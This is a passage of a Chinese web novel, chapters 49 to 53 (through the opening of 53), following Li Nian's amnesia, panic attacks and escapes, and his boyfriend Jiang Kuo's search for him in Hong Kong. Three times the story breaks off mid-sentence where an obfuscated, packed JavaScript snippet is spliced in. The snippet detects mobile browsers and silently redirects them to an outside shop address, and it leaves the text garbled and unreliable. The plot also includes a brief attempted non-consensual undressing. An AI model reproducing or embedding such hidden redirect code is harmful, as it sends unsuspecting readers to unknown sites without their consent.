“哦?你怎么知道JK指的就是江扩,”黎念挑眉,“单凭两个字母,就能判断是哪个人吗?万一是蒋凯呢,万一是姜开呢?万一是蒋港呢?” “你踏马混账!”江扩气得两边太阳穴突突直跳。 黎念正要开口,旁边的手机响了。铃声是很熟悉的一个男歌手,但想不出来叫什么名字。 “忧郁奔向冷的天,撞落每点小雨点,张开口似救生圈,实验雨的酸与甜......” “还挺好听。”黎念嘀咕道。 这谁的电话。 “你姐打来的。”江扩止住狂笑,用尽全力爬过去看。 “我的手机?”黎念挑眉,一边感慨自己听歌的品味还挺高,不跟面前这人一样,一看就品味低下。 “喂?”黎念问。 “弟弟啊。”黎徊喊道。 “嗯。”黎念缓慢点头。 “想起你男朋友了没?”黎徊问。 “我没有男朋友。”黎念不耐烦道。 “她喊你弟弟你都认同了,为什么还不认你是我男朋友!”江扩倏地从地上爬起,扑过去揪住黎念的睡衣领。 “先挂了,我这里有个情绪不稳定的精神病人。”黎念扔下电话一手捏住江扩的手腕,一手往他胸口上抡拳头。 江扩被甩到沙发上之后,又开启新一轮狂笑。 “等你恢复记忆,你就会知道有多痛苦。”江扩擦干笑出来的眼泪。 “哼。”黎念白了江扩一眼,转身往房间走去。 衣服都在衣柜里,只要收进行李箱打辆什么什么士就能到那个自称是他姊姊的女人家了。上次的地址他可是听的清清楚楚,况且他只是失忆了又不是健忘。 “你想做什么?”江扩见黎念去翻衣橱,顿时看慌了。 “关你嗨事。”黎念从里面翻出一堆衣物随便塞进行李箱。 江扩绝望中突然想起黎念刚回来的时候为了求得大哥的原谅,做了那件事。灵光一现。 这会要是跟黎念LU一把,说不定能让黎念留下,或者起码想起点什么,就当是死马当活马医了吧。 江扩闭上眼,不管三七二十一便朝黎念的方向猛冲过去。 正当江扩准备强行除下黎念的裤衩,才发觉黎念十分不对劲。 此刻黎念额头汗珠点点,一手撑着柜门一手捂住胸口,呼吸不畅浑身发抖。 江扩脚步一顿,心想不妙。 下一秒本想伸去禁地的手,猛然扶住黎念逐渐下滑的躯体。 50. 第 50 章 黎徊得闲赶来的时候,黎念又在病床躺着。 “又惊恐发作?”黎徊喘气一边道。 “嗯。”江扩垂头。 “你。”黎念稳定后,转头看见黎徊。想叫姐又不好意思开口。 “我?”黎徊走过去。 “嗯,”黎念说,“我要住到你那去,我不要跟癫佬一齐住。” “先看心理医生。”黎徊说。 江扩站在身后,心中一万个不甘心。 黎徊安顿好黎念后,把江扩一起弄出病房,带上门。 “这几天怎么样?”黎徊问。 “不信我是他男朋友,不认识我,烧东西,和我打架,砸东西,小说也不写了,有时候还总手抖,无缘无故就说自己害怕,”江扩扶额,声音越来越弱,“就跟变了一个人,我对他越来越陌生了。” “先看心理医生要紧,”黎徊看了江扩一眼,“实在不行就先让他住我这,毕竟我接触他这个病比较多,而且,他好像明显更信任我。” “好。”江扩靠在墙上,冲天花板缓缓叹出一口气。 黎念转头看着陌生的两人聊天,莫名其妙有些生闷气,便转头继续闭眼小憩。 突然想到什么,又猛然睁开眼盯着手上的戒指。估计是那个扑街又给他戴的上去。 黎念从鼻腔喷出一丝轻蔑,直接把那闪闪发光的钻戒摘下来扔到地上。钻戒滚了滚,进了病床床底躺平。 下午黎念离院,被两人半哄半骗去到江扩找江收帮忙介绍的精神科医生。 去的时候坐的士,黎念被江扩和黎徊两人夹在中间,防止他开门逃跑以及突然发作。 坐到医生面前后,家属回避。 黎念不愿黎徊出去,反倒瞪了江扩一眼。江扩识趣,垂着头出了诊室,顺便把门带上。 “说说最近的情况。”医生说。 黎念垂着头。 “有焦虑症病史,最近车祸失忆后复发,”黎徊简单概括一两句,转头看了黎念一眼,“有什么事要补充就跟医生说吧。” “惊恐发作,很难受,觉得自己快死了,”黎念还是垂着头,“浑身疼,有时候拉稀,有时候便秘,有时候胸口疼,每次哪疼都觉得哪就有问题。” “什么意思?”医生问。 “肚子疼就觉得肯定是什么肠癌,要死掉了,胃疼就觉得是胃癌,要死掉了,头疼就觉得......”黎念眨了眨眼,哽咽道。 “OKOK,大概知道。”医生伸出一只手打断黎念的举例。 江扩在门口只偷听到这,只觉一阵揪心的疼痛。干脆离开一楼大门,去外面街道找了个橙色垃圾桶站到旁边点了根烟。 “我真要死了,”黎念抬头看着医生,“我忘记好多东西,我要死掉了。” “开点药给你,一周后复诊。”医生抿了抿嘴,继续在电脑键盘上敲敲打打。 江扩抽完两根烟回来,黎徊已经在大厅等候取药。黎念在长椅上等。 “我看看。”江扩走到黎徊旁边。 “开了帕罗西汀,还有阿普唑仑,之前他吃过的,”黎徊把药单拿给江扩看,全是群魔乱舞的英文。 “帕罗西汀白天一片,晚上睡前阿普唑仑一片,惊恐发作时阿普唑仑在舌下含服一颗能缓解症状。”黎徊说。 “你跟他说干嘛。”黎念跺了跺脚,“我又不跟他住。” 江扩听罢,转身又出到医院门口的橙色垃圾桶上抽烟。 叼着烟往大厅看去,还能瞥见黎徊在跟黎念商量着什么,黎念一脸不情愿,脸色肿得像窒息的猪头。 江扩叹了口气,挎包里的手机响了。 拿起手机一看,是一串好久没接到的电话number。然而江扩并不想接到这串number。 想了想还是拿起来听了。 “喂。”江扩抽了一口烟。 “借,借我点钱。”那边的老男人一开口便恬不知耻地道。 “你踏马就这点能耐是吧?”江扩压低声音骂道,“天天找我就知道借钱,天天一班手足在那孝敬你带你打劫倾生意你会没钱?!” “走走走回正行了,不打劫,”江广荣说,“我现在开,开公司。” “做什么的?”江扩冷笑,“做□□的?” “正正,正当行业,”江广荣顿了顿,“卖猪,猪肉的。” 江扩哑然失笑,吓了旁边同样站着抽烟的大胡子洋人一跳。 “最近公,公司拮据,想,想,想借点钱周济周济。”江广荣叹气。 “没钱。”江扩脱口而出。 两人安静了好几秒。 “我真没钱,”江扩说,“我男朋友出车祸,现在脑子不好使,花了不少钱。” “老爷保号,”江广荣皱眉,“没,没没事吧,我去看看。” “用不着你。”江扩说。 又安静了几秒。 “你说话怎么这么费劲?都结巴上了。”江扩皱眉。 “帕,帕金森,”江广荣往电话这边凑近了点,“我现在拿手,手机,会抖。” 江扩朝天上长叹一口气。 “注意身体。”江扩按了挂断,恰巧黎念被黎徊推着走出医院。 “回家。”江扩看了黎念一眼。 “听我的,等我工作稳定下来,你想来住再来住。”黎徊劝道。 最后黎念带着一袋药不情不愿地跟江扩回了家。 “听着,”江扩一边给大福倒狗粮,一边对沙发上的黎念说,“明天我必须去唱片公司一趟,不过我会马上回来,你在家别乱跑,狗我会关着,准备中午的饭菜给你吃,如果惊恐发作打电话给我,吃袋里的药叫什么仑一颗,记得......” “打住,”黎念伸出尔康手,“别烦我,知道了。” 江扩立马闭了嘴。 黎念闲着无聊,拿了遥控器开电视来看。 正好赶上翡翠台六点半新闻开播。 “最近香港频发室内失窃事件,请广大市民注意贵重物品,同时加强室内防盗......” “哼。”黎念对着电视台翻了个白眼,按了好久遥控器才找到体育频道。 此刻刚好播的足球赛。 “耶!”黎念举起手欢呼一声,另一只手下意识去摸茶几上,反应过来时才发现不知道自己在找什么。 “要喝可乐是吧,”江扩从厨房走出来,身上围着粉色围裙,“一罐都不给你。” “痴线。”黎念转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722030|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续看球赛。 “啊啊啊啊,入咗啦,入咗啦!”见其中一个球队进球,黎念激动得捶胸顿足。 江扩听见客厅的闹腾声,生怕患者又受刺激惊恐发作,即刻放下锅铲熄火,气势汹汹跑出厨房。 “坐低。”江扩板着脸说。 狗笼里的大福听罢,露出一条湿漉漉的大舌头。 “当我系狗咩?”黎念嗤了一声,“狗都唔听你讲嘢啦真系(狗都不听你说话)。” “我是为你好,坐下看。”江扩提高音调。 黎念生了一肚子闷气,黑着脸往沙发上砰一声躺倒。 江扩炒完菜,黎念并没有什么胃口,也不太愿意吃江扩的菜。往嘴里塞了几口后呸了几声,便吃完药上床睡觉。 晚上江扩怕再被黎念揍,只好铺个被单在地上当床,随便整了整便躺上去睡觉。 白天,黎念先一步醒过来,又看见地上闭眼的江扩。窗帘缝透过的丁达尔效应映在江扩脸上,睫毛在暖阳下根根分明。 黎念盯了很久,心头开始痕痒,又鬼使神差探出一只手去轻轻触碰江扩的睫毛。 这次江扩没有醒,只是轻轻颤了颤睫毛,翻了个身继续睡。 黎念缩回手愣了几秒,也躺回枕头睁眼看着天花板。 “黎念,别死。”江扩翻过身喃喃梦呓。 黎念眨了眨眼,心里莫名生出了点难受。 这个人连梦里都有他,但黎念却丝毫记不起他是谁。 下午江扩收拾完客厅的东西,又带大福下楼逛了会。 关好狗笼之后,江扩眯眼观察沙发上摆着纸胡乱涂鸦的黎念,观察完家里所有可能的危险确定安全之后,锁上门走了。 黎念此刻只想出去疯玩,听说有个好地方叫gay吧。 但门被江扩锁着,自己也没钥匙。 黎念推了推门,还是锁着的。一把火窜上心头,狠狠捶了几下门。 中午黎念在厨房找吃的,只找到几盒泡面在柜子上放着。犹豫片刻还是拿了下来,煮开水冲泡面。 在泡面盒愣是找不到叉子。 “冚家铲。”黎念骂骂咧咧回厨房拿筷子和勺子,恰巧瞥见架子上插着把菜刀。脑里闪过一个邪恶的念头。 泡完面黎念乐呵呵几口吃完,又回到厨房抄起菜刀。 “砰~砰~砰~” 半个钟后门终于被黎念砍开一条缝,正好隔壁的邻居开了门跟门缝里面的黎念对瞪。 “再吵我报警。”男邻居咬牙切齿道。 “Sorry啊,我出不来,被锁住了,即刻煤气中毒了。”黎念捂住胸口咳了几声。 “我帮你!”邻居冲回去厨房拿菜刀。 黎念偏过头偷偷笑了几声。 最后在好心邻舍的帮助下,黎念笑容满面推开烂掉的门。 “使唔使帮你叫下救护车?”邻舍问。 “我没事。”黎念挥挥手走了,剩下邻舍在后面指着背影破口大骂。 晚上八点多江扩带份炒米粉回家,老远就觉得不对劲。门口地上散落一堆烂嘢,包括一把钝掉的菜刀。 心里大喊一声不妙,冲过去查看屋里情况。 WTF?电视都没了!!!!! 51. 第 51 章 还好大福还在,江扩匆匆报警,不到五分钟差人便到了楼下。 毕竟在中环这么个繁华的地方,要碰上贼是很难的。最近经常出现的失窃事件大多也是出现在深水埗地区及附近。 跟差人清点完丢失的财物总数后差人回去抓人,江扩收拾完残渣安顿好狗后骂骂咧咧出街找黎念。 他敢断定,黎念这脑残绝对在附近那个gay吧花天酒地。主要是这脑残因为焦虑和失忆也喝不了酒,但脑残本人不可能注意这种事情。 由于江扩本人几乎没来过酒吧,唯一一次是大学时同学聚会。在街上站了很久,决定上手机地图找附近的酒吧大全。 结果搜索框跳出十几二十个gay吧,分别散落在香港不同地区。 江扩摇摇头,把离家最近的前五个gay吧列出来,准备一个一个找。 这时刚好来了电话。 “喂?我是黎念他姐。”黎徊打来询问情况,“真服了你们,住那种地方都能失窃......我弟怎么样了?” “失踪了。”江扩咬牙切齿。 “失踪了?!”黎徊失声大喊,“绑架了?!怎么回事儿?!” “上午我去公司,把他锁家里备好吃的,不知道什么时候被砸开锁的门,我回来之后家里就乱了,”江扩说,“一句话,是这个扑......不是,是黎念给贼开好的门,就这样说吧,我去找人了。” “好,需要我帮助的话CALL我。”黎徊道。 “对了姐,”江扩突然缩回挂断电话的手,“你知道黎念之前最喜欢去哪个gay吧吗?” “其实他不止喜欢去gay吧,普通的酒吧也去,只是少一点,”黎徊思索片刻,“想安静喝酒经常去兰桂坊的那间叫什么什么PONI的彩虹吧,gay拉子都去的那家,店主是外国人;想跳舞闹腾的话就去那家大型的,离你家挺近,叫啥来着我不太懂怎么念......” “那家我认识,经过。”江扩想起那家门前五彩斑斓的gay吧,当时跟黎念经过还碰上几个之前酒吧认识的狐朋狗友来着。 想起里面各色的外国gay佬以及打扮得让同类们脸红心跳的gay,江扩脸色一沉。 “那就是那家。”黎徊说。 “谢谢,我去了。”江扩迅速挂了电话,在街上凭借自己的方向感面向四处思考片刻,最后还是打了辆的士。 “唔该去XXX酒吧。”江扩说,“赶时间。” “OK。”司机回头望了一下车座上的人,脸色阴沉不像是去酒吧玩的,估计是去酒吧抓人的便衣警察。 热血情怀不由得涌上司机心头,猛一踩油门,车飙了出去。江扩吓了一跳。 “师傅,命重要。”江扩汗颜。 “你哋差人做嘢更重要!”司机激动得溅出几粒唾沫。 江扩忍了很久才没把那句“痴线”吐出口。 做叮叮车去那家彩虹吧也就三四个站,但对江扩来说已经够久了。加上自己身上不缺钱,不如坐的士早点找到人。 现在江扩只能默默祈祷黎念在这家酒吧,不然他还得去到兰桂坊那家什么po的彩虹吧找。 十几分钟后到站,江扩掏出港币付钱后便下了车,匆匆往五彩斑斓的酒吧铺面走去。 外边两个抱在一起蹭蹭的欧洲男人,匆匆瞥了江扩一眼又把脸埋到对方脸上。 推开门,江扩差点被一阵古龙香水的刺鼻香味撞出门外。捏着鼻子忍住往里走了几步。 各种各样的人,喝着各种调制的鸡尾酒聚在一起聊天,浑身上下散发着“Iamgay”的气质,气氛还算轻松。江扩甚至差点有了今后也要来玩玩的念头。 不过这念头在他瞥向吧台后瞬间消失了。 吧台也坐满了人,其中一个趴在吧台似乎已经醉倒了,看打扮是黎念无疑。身上那件衫是江扩买的。 旁边坐着的那蓄满胡须的洋人看了黎念一眼,伸出一只手去拍黎念的背。 "(一声撒娇,自行想象‘=’)Hey my sweet baby,Are you OK?You look so fucking drawn......”那洋人在黎念耳旁低语。 江扩使劲吞了吞唾液,攥着拳头走到两人身后,一只手伸到黎念的背前挡住洋人的手,并朝洋人礼貌一笑。 “Hi。”江扩忍着把这洋人揍成大红人的冲动,朝这洋人打了声招呼。 “Hi.”洋人撅起蓄满胡须的小樱桃嘴笑了笑。 江扩嘴角一抽搐,差点往后倒地。 “This guy,”江扩指了指睡成猪的黎念,“my boyfriend,I juste here to take him home.” “That''s such a pity......”洋人耸了耸肩,“I love this type.” 江扩越听越恼火,冷笑一声后过去摇了摇黎念的肩。 “喂,醒醒。”江扩说。 此刻他已经尽力把对黎念的怒火压制到最低,但黎念睁开眼看清楚来人后反而先发火了。 “你来找我干什么?走啊!”黎念不耐烦地一把推开江扩。 “你知道咱家变成什么样了吗?”江扩气得发抖,尽量压低声音后伸出抖成帕金森的手揪住黎念的耳朵晃了晃。 还时不时偷偷去看周围人的反应,还好暂时没人看见。 “你个冚家铲敢动我?”黎念骂骂咧咧趁江扩不注意一脚把人踹到旁边gay身上。 这大动作终于吸引几乎整个彩虹吧的人注意。几个母零翘起靓臀捂着耳朵细声尖叫,里面大桌上几个掰手腕的铁T准备冲出来劝架。 黎念酒劲还没过,踹了江扩之后环视四周发觉自己头有点晕。加上酒精作用,惊恐发作又开始作祟,莫名的恐惧狂袭,心跳狂飙到一百四十多。 这会他又觉得自己快死掉了。 江扩撞倒几个人,往门口玻璃橱窗上倚倒,一屁股溜坐在地上,周围人投来怪异的目光。 好久没这种感觉了。江扩想起刚被大哥荣绑来香港第一次上学的那会,班里所有同学也像这样一脸鄙夷用眼神围攻他。 江扩一条腿平放在地一条腿盘起坐在地上,垂着头半张脸笼罩着阴霾,半分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722031|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来的意思都没有,自己也没觉得奇怪。没人看得清他脸上的表情,同时江扩也看不见黎念的异常。 直到黎念抱头蹲下一声带着哭腔的哀嚎,江扩才猛然惊醒。 “有人不舒服!”旁边有人惊呼,“快点call白车!” 黎念听罢直接瘫倒在地。 “你哋收声啊!”江扩急了,朝那惊呼的人群大吼,起身把黎念扶坐起来。 “怎么样?”江扩搓了搓黎念的背。 “call白车,”黎念喘了几声,“我要死了。” “死个屁死,”江扩骂道,一边把黎念整个身躯强行搀起来站着,“回家,回家吃药。” “带了。”黎念从衣兜掏出药。 江扩拿过药袋,看了一眼药名。不禁扶额。 “这踏马酒后吃药会死人的,你还喝酒!”江扩咬紧牙弹了黎念的额头一下。 黎念一时恍惚中觉得这个小动作很暧昧很温暖,恐惧感竟然消了一大半。偷偷看了焦头烂额的江扩一眼。 “回家,回家再吃。”江扩说。 “嗯。”黎念应罢,细想这是第一次在这个男人面前这么听话。 江扩愣了愣,这才搀起还在浑身发抖的黎念上来。 旁边人见无事发生,继续和周围人寒暄。 江扩在门口拦了辆的士,扶黎念坐了上去。 路上黎念一直一声不吭看着窗外,江扩摇了摇头,拿起手机一看多了七条未接电话。 江扩拨通不到一秒,电话马上通了。 “人找到没有?”黎徊带着哭腔。 “找到了。”江扩回答。 “在哪找到?”黎徊问。 黎念隐隐约约听见一个熟悉的女人声,皱了皱眉。 “gay吧。”江扩说。 “彩虹吧。”黎念用虚弱的声音强调。 “有什么区别?”江扩看了黎念一眼。 “gay吧大部分是gay,彩虹吧有les。”黎念虚弱开口。 “哦,”江扩对黎徊说,“是彩虹吧。” “人没事吧。”黎徊点了根烟。 “没事。”江扩伸出一只手想去摸摸黎念的头,被一脸厌恶推开了。 “他知道家里进贼了吗?”黎徊问。 黎念正在偷听,此刻听见家里进贼后瞳孔地震,一脸迷茫看着江扩。 “咩入贼?”黎念木讷问道。 “让你放进去的。”江扩又看了黎念一眼,“你不是把门砸了嘛,最近香港入室盗窃的案子很多。” 黎念一手拍住额头,发出“啪”的响声。 “不怪你。”江扩说。 “滚。”黎念说。 回到家,门口还是一片狼藉,只有里面被收拾好了。 “电视呢?”黎念靠在白墙上瞥了一眼狭窄的客厅。 “偷了。”江扩回头对仅剩一个铁拉门的门口发愁。 这门烂掉已经拆了,没来得及安新的。铁拉门锁也坏了。 如果今晚这间屋又被盗,估计这宗case能成为全香港的笑话。 “扑领母!”江扩心中骂道。 52. 第 52 章 晚上睡觉前,江扩看了一眼门口。 “今晚我睡客厅看家,你睡房间。行不行?”江扩问黎念。 黎念瞥了一下狗笼里的大福,本想说这不是有只白狗能看门吗? 犹豫片刻,黎念还是淡漠地看了看江扩。 “求之不得。”黎念抱着衣服进了房间。 “门开着。”江扩下达命令。 黎念嘁了一声,把门往墙上一砸,熄了灯消失不见。 半夜,出边客厅传来江扩细微的呼噜声,黎念望着门口的满地狼藉,深叹口气蹲在门边懊恼许久。 半个多钟头后,黎念埋在膝盖的脸抬起来,直直朝衣柜望去。 这一觉江扩睡到隔天九点多,起来时发现周围无异常。不仅东西没有变,甚至一点声音都没有。 嗯,躲过一晚,今天就等安门的师傅过来就好了。 等等,一点声音都没有?! 江扩心里猛地一沉,下一秒撒腿跑向房间。 里面的空无一人告诉他猜想是对的。 黎念再次逃逸了。 此时门口传来一个重物声和一个沧桑的老男人声。 “早晨(早上好),系咪哩间屋要修门?” “啊,系。”江扩匆匆点头,“就门口嗰个。” 师傅修门的间隙,江扩赶紧摸出手机打了黎徊的电话号码。 “喂?”那边一片嘈杂。 “你弟又逃跑了,”江扩捂着突突直跳的太阳穴,“我真受不了了。” “他在我家。”黎徊捂着嘴小声说。 “?”江扩皱眉,“他过去了?” “不是写了纸条给你吗?自己看吧,我上班先不听了。”黎徊挂了。 江扩叹了口气,转身回到房间,一眼便认出书桌上的纸条。 走过去看。 “尊敬的江先生,我系黎念;我得知屋内入窃,深感愧疚,我很抱歉为您造成这样的困扰; 您话过系我男朋友,但很抱歉我确实无法想起,这段时间的相处让我感到不自在,我决定亲自搵(找)黎小姐,系佢屋企住一段时间,之后再揽办法。” 江扩猛地攥紧纸条,往桌上卖力一捶。“砰”的一响。 “啊!!!!!!!!!!!” 师傅听见震耳欲聋的吼声,猛地转头看江扩。 “先生有咩唔中意你可以同我讲嘛,唔使咁发脾气。”师傅牙齿打颤。 “无事。”江扩一手扶住书桌边缘,一手朝安门师傅摆了摆。 call完黎徊没多久,又来电话,说是要江扩去警署录口供。 师傅离开之后,江扩连午饭没吃就赶着去警署。 坐到差人面前时,江扩想起他爸干的那些龌蹉事,不由得打了个冷颤。 虽然这些事和他一点干系都没有,但他就是莫名紧张。 “咩事啊?”一个差人皱眉。 “没。”江扩做了个深呼吸,紧接着把失窃的全过程和时间细节一一供出来。 “你是说,门是你家的人拆的?”差人挑眉。 “嗯。”江扩几乎没脸看警察的脸。 “那其实可以说,你们也有一部分责任在里面,不如不用立案咯。”另外一个毫不客气地道。 “我拒绝。”江扩板着脸说。 “我说的有错吗?”差人嗤了一声,“如果你们没自己拆门,贼会那么容易进去吗?” “门是我伴侣拆的,但即便没拆门贼还是能想办法进去对吧。任何人在实施盗窃,造成严重身体伤害,和刑事毁坏这三样为目的进入建筑或建筑一部分,都能构成入屋犯法罪,”江扩顿了顿,“所以不管门坏还是没坏,都不会影响这宗case是非法入屋盗窃对吧?失窃物品家电同埋金钱都明摆在那,而且无论财务价值高低都构成犯罪对吧?” 刚刚调侃的那两个差人面面相觑。 “所以你们又是什么理由觉得立不了case?”江扩反问。 “冒昧问下,先生你系律师?”坐在对面的警察小心翼翼问。 “承让,家妹是律师。”江扩心想是答非所问了。 “虽然损失不多,但是案子我们会慢慢查,另外也已经有嫌疑人的消息,完全没避开监控,看犯罪记录是个初犯,很快能破案。”对面的警察盯着电脑一边说。 “唔该请快点。”江扩说。 江扩出来之后,第一时间打电话给了江收。 “怎么样啊哥?”江收问。 同时那边传来一声貌似男的惨叫,随即又消失。 “你那边怎么了?不是在律师所吗?”江扩皱了皱眉。 “是事务所,”江收伸出左手中指跟拇指弹了个响指,“哦,刚助手被饮水机烫到了。” “哼,”江扩没心情再去过问,“上次多谢你当我免费顾问了,几乎全用到。” “也不看我是谁。”江收傲然回答道。 江扩匆匆应罢挂了手机。他这现在还有件棘手的事,黎念跑去他姐那了。他必须在今天内去黎念本人面前问清楚,不然他今晚绝对失眠。 只是不知道黎念愿不愿意回来...... 黎徊的租房在铜锣湾,离这倒也不远,坐叮叮车也就十几个站。 当年黎念还是黎大福的时候,他们一家四口就住在铜锣湾小小的一间租屋里面勉强度日。在那家小小的租房里面,黎大福还给刚被绑来香港的江扩补过功课。 当时他们还是处于青春期发育的小屁孩,也还没在一起。黎大福还是黎大福,不叫黎念,也拥有完整记忆,不会傻傻的忘了谁。 如果黎念能恢复记忆多好啊。 江扩站在叮叮车站前,仰头朝叮叮车上面连接的轨道电线,深深叹了口气。 坐了几个站终于到了时代广场附近,江扩想起黎徊还没告诉过他完整的地址,只知道在铜锣湾。 江扩直接拿起手机拨了黎徊的号码。 “喂姐,”江扩说,“我在铜锣湾,能告诉我黎念在哪不?我去接他。” “算了吧。”黎徊叹息一声。 “什么意思?”江扩愣住了。 “黎念跟我说他想静一静,还特地告诉我别跟你透露他任何消息,”黎徊说,“我也没办法,等他状态好点了或者记起你了我会告诉你的,抱歉。” “喂?”江扩急了,那边趁这时也把手机关了。 这算个什么? 江扩站在橙色垃圾桶旁,把兜里仅剩的一根白万宝路抽出来,拿打火机点燃。 这是黎念最喜欢的一款烟,他一直给黎念备着。 抽了一半,江扩想起黎念带自己手机离开的。 但黎念怎么可能会接? 拧着眉头思考了好久,江扩还是拨了。但果然被拒接了。 最后江扩决定回中环,在叮叮车站上车前,他又拨了通电话给黎徊。 “喂?”黎徊这会好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722032|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下班了。 “姐,你能保证黎念在那能好好的呆家里,不会出什么危险的对吧?”江扩抿了抿嘴唇。 “应该......能吧......”黎徊犹犹豫豫。 “我需要一个肯定的回答。”江扩说。 “能。”黎徊深吸了口气。 “好,那我回去了。”江扩挂了电话。 回中环之后,屋里只剩下江扩和大福一人一狗。 “大福,来。”江扩在门口拍了拍外套上的烟灰,抖了抖浑身的烟味,这才蹲下对大福嘬了几声。 大福钻出笼子跑向江扩。 江扩这时才发现大福瘦了很多。自己大概也是。 大福冲江扩呜呜几声,接着朝狗盆的地方看了看。 “饿啦?”江扩站起身走向狗盆儿。 里面早被舔得发光,一颗狗粮都不剩。 “我草。”江扩想起昨天好像也忘记给它添狗粮了,忍不住扶额。 在给大福倒狗粮和肉罐头的时候,江扩发现大福的目光总是朝门口那边看,像是在等谁。 “怎么了大福?”江扩问。 大福呜呜几声,又汪汪几声,小尾巴摇得更疯狂了。 江扩恍然大悟。 “你是说你那个姓黎的爹地是吗?”江扩放下铲子蹲下来,伸出手摸了摸大福的头。 “你爹地,好像不要我们咯。”江扩垂着眸若有所思地道。 大福搞不懂江扩在叽里呱啦说些什么,只想着吃饭,情急之下多转了几个圈。 江扩这才起身把狗碗放到大福面前,对着狼吞虎咽的小白狗发呆。 在一起快十年的男朋友突然离开,这让江扩有些恍惚。这一晃过了两个多星期。 多日的失眠,使家里的一狗一人变成了一狗一熊猫。 江扩时常顶着对黑眼圈去唱片公司,制作人,录音师和歌手都被吓了一跳。 “江先生你没事吧?”吴小姐小心翼翼问。 “没事,继续。”江扩说。 吴小姐在录音棚唱未一半,江扩在短沙发上眯着眼打瞌睡。 录完歌,吴小姐走出录音棚。 “怎么样?”吴小姐问。 “还不错。”江扩睁开一半眼皮。 “你没听。”吴小姐说。 “听了一半,还不错。”江扩死要面子嘴硬。 吴小姐摇摇头,转身去跟声乐指导请教去了。这首歌录了好多次片段才完成。 江扩失眠了将近一个月。这一个月里黎徊打过十几个电话,内容无非如下。 “黎念在家好好的呢。” “黎念不见了!我到处找不到他!” “今天太忙没去管他,他跑gay吧去了!” “黎念喝醉酒,在酒吧打人。” “今天还好啦,就是门差点砸坏了哈哈哈哈。” “......” “让我跟他说话。”江扩说。 电话那边通常就被人强行挂断。 又一夜的失眠过后,江扩终于受不了了。 “操你妈的,老子就不信你回不来。”江扩坐到房间窗边对着外面的霓虹灯哭到双眼红肿。 隔天一早,江扩出了趟门,去找熟人借手机打电话。这样黎念看见不是他的电话号码,或许不会挂断。 然后再假装速递员或者外卖员诈出个详细地址。 说不定就能通了呢。 53. 第 53 章 “边位啊?”黎念听见铃声,从酒吧一个陌生人的膝盖上坐起来。 “唔知喔。”陌生人说。 “我睡了一夜?”黎念捏了捏眉心,“坏了,忘记吃药。” “我怎么可能睡了一夜?”黎念拿起包里的药瓶,往嘴里塞了样颗药,“这个基吧不用打烊吗?” “用。”陌生人回答。 “那我们?”黎念指了指自己。 “我是老板,”陌生人说,“看见你在这睡觉,但是又到了打烊时间,我过来叫你,没想到你就枕上来了。我不好意思叫醒你。” “多谢。”黎念瞥了一下电话号码,没印象。 完全没有想接的念头,于是干脆把它挂掉了。 江扩见电话被挂,又拨了过去。 “边位啊?”那边熟悉的声音用极臭极不耐烦地语气道。 江扩来不及欢呼雀跃,立刻清了清嗓子装出一个沙哑沧桑的嗓子。 “先生你好,请问系黎先生吗?”江扩问。 “系,你边位?”黎念说。 “您有个国际包裹,但地址看不清,找您确认一下。”江扩说。 “哦,”黎念想都没想,“铜锣湾XXXXX街xx号,唔该你。” 挂完电话,黎念才想起压根没收什么屁国际包裹。 不过又或者包裹是他姐的也不无可能。 半眯着眼撑着沙发起来思考片刻,黎念又顶着一个鸡窝头躺倒那个男老板膝盖上。 主要并不是这老板膝盖舒服,只是他太想睡觉,他是真想睡。 江扩偷到地址立马撒腿往叮叮车冲。 找到地址之后,江扩在鞋架上看见一双熟悉的鞋。确认地址无误之后就往鞋架旁边那么一蹲。 “我该回去了。”黎念醒过来后,对这个陌生的男人还是有点戒备。 “我送你,刚好我今天店休。”老板说。 “不用麻烦。”黎念莫名有点愧疚。 “得啦,地址?我去揸车。”老板起身晃了晃车钥匙。 黎念捂着晕乎乎的脑袋,以及若隐若现却始终没涌上来的濒死感。 许久之后,老板开着一辆黑色的进口丰田,朝黎念摇了摇雨刮,像是在挥手示意。 黎念无奈只好坐上副驾驶座。 “有没有男朋友?”老板开车,一边用余光瞥了黎念一眼。 黎念没有回答,他不清楚远方那个天天照顾他家里还有只白色丑狗的男人到底算不算。 “那我就姑且认定是有。”老板说。 “你叫什么名字?”黎念突然问。 “汪志荣,叫我Alan就好。”汪志荣说。 “好难听。”黎念偷偷皱眉。 “你呢。”Alan问。 “黎念,不过我以前。”黎念脱口而出,自己突然吓了一大跳,“诶?!” “什么以前?你还有别的名字?”Alan问。 “黎大福。”黎念此刻感觉自己的记忆像是一个缺失的拼图,目前把一小块找到了,但其他还是没有印象。 